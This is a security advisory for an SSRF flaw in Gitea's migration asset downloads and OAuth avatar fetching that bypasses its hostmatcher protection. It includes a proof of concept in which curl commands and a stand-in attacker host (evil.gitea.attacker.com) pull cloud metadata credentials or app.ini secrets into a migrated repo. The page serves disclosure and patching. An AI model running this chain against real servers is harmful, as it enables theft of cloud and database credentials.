CVE-2026-59765: Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata
Summary Gitea has robust SSRF protection via hostmatcher.NewDialContext() for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw http.Get() (Go's DefaultClient) which completely bypasses this protection, enabling SSRF to internal services and local file read via the file:// scheme.
Published Jul 21, 2026 · Updated Sep 24, 2026
Affected packages
code.gitea.io/gitea
- Ecosystem
- Go
- Affected
- < 1.27.0
- Fixed in
- 1.27.0
- Check
go list -m code.gitea.io/gitea
gitea.dev
- Ecosystem
- Go
- Affected
- < 1.27.0
- Fixed in
- 1.27.0
- Check
go list -m gitea.dev
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Gitea has robust SSRF protection via hostmatcher.NewDialContext() for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw http.Get() (Go's DefaultClient) which completely bypasses this protection, enabling SSRF to internal services and local file read via the file:// scheme.
Vulnerable Code
File: `modules/uri/uri.go` (line 32) -- Core vulnerability
func Open(uriStr string) (io.ReadCloser, error) {
u, err := url.Parse(uriStr)
switch strings.ToLower(u.Scheme) {
case "http", "https":
f, err := http.Get(uriStr) // RAW http.Get -- no hostmatcher filtering
return f.Body, nil
case "file":
return os.Open(u.Path) // LOCAL FILE READ via file:// scheme
}
}Callers in migration path:
services/migrations/gitea_uploader.go:340--uri.Open(*asset.DownloadURL)for release assetsservices/migrations/gitea_uploader.go:586--uri.Open(pr.PatchURL)for PR patches
File: `services/migrations/dump.go` (lines 312, 453)
// Line 312 -- release asset download
resp, err := http.Get(*asset.DownloadURL)
// Line 453 -- PR patch download (with self-documenting TODO)
resp, err := http.Get(u) // TODO: This probably needs to use the downloaderFile: `routers/web/auth/oauth.go` (line 306)
func oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) {
resp, err := http.Get(url) // RAW http.Get -- no hostmatcherContrast with protected migration clone (same codebase):
// services/migrations/migrate.go:526 -- PROTECTED with hostmatcher
transport.DialContext = hostmatcher.NewDialContext("migration", allowList, blockList, ...)PoC
# Step 1: Set up attacker Gitea instance with malicious release asset URLs
# Create a repo on evil.gitea.attacker.com with a release asset whose
# download_url points to internal services:
# Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role
# Or: file:///etc/gitea/app.ini (local file read)
# Step 2: Admin triggers migration from attacker's Gitea instance
curl -s -X POST "https://target-gitea.com/api/v1/repos/migrate" \
-H "Authorization: token ADMIN_API_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "https://evil.gitea.attacker.com/user/repo.git",
"repo_name": "migrated-repo",
"repo_owner": "admin",
"service": "gitea"
}'
# Step 3: During migration, Gitea downloads release assets using unfiltered http.Get()
# Cloud metadata is saved as the release asset attachment in the migrated repo
# Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme
# Step 4: Attacker accesses the migrated repo's release assets to retrieve stolen data
curl -s "https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt"Impact
- Cloud metadata theft:
169.254.169.254reachable via unfilteredhttp.Get()(AWS IMDSv1 credentials, GCP tokens) - Local file read:
file://scheme inuri.Open()reads/etc/gitea/app.ini(database credentials, JWT signing secrets, SMTP passwords) - Internal service scanning: Reach
127.0.0.1,10.x,172.16-31.x,192.168.xnetworks - Bypasses existing SSRF protection: The
hostmatcherdialer is comprehensive but only applied to webhook and clone transports -- these three paths are unprotected - Migration vectors require migration permission (admin/org owner); OAuth vector requires admin-configured custom OAuth2 source
Credited to tikket1, Letian-aarch64, JebeenLee, JLLeitschuh, pick, kdalal-vulncheck, tayfuryldz.
References
- https://github.com/go-gitea/gitea/security/advisories/GHSA-2wm4-vwp6-v7xc
- https://github.com/go-gitea/gitea/releases/tag/v1.27.0
- https://nvd.nist.gov/vuln/detail/CVE-2026-59765
- https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31
- https://blog.gitea.com/gitea-1.27.0-is-released
- https://github.com/advisories/GHSA-2wm4-vwp6-v7xc
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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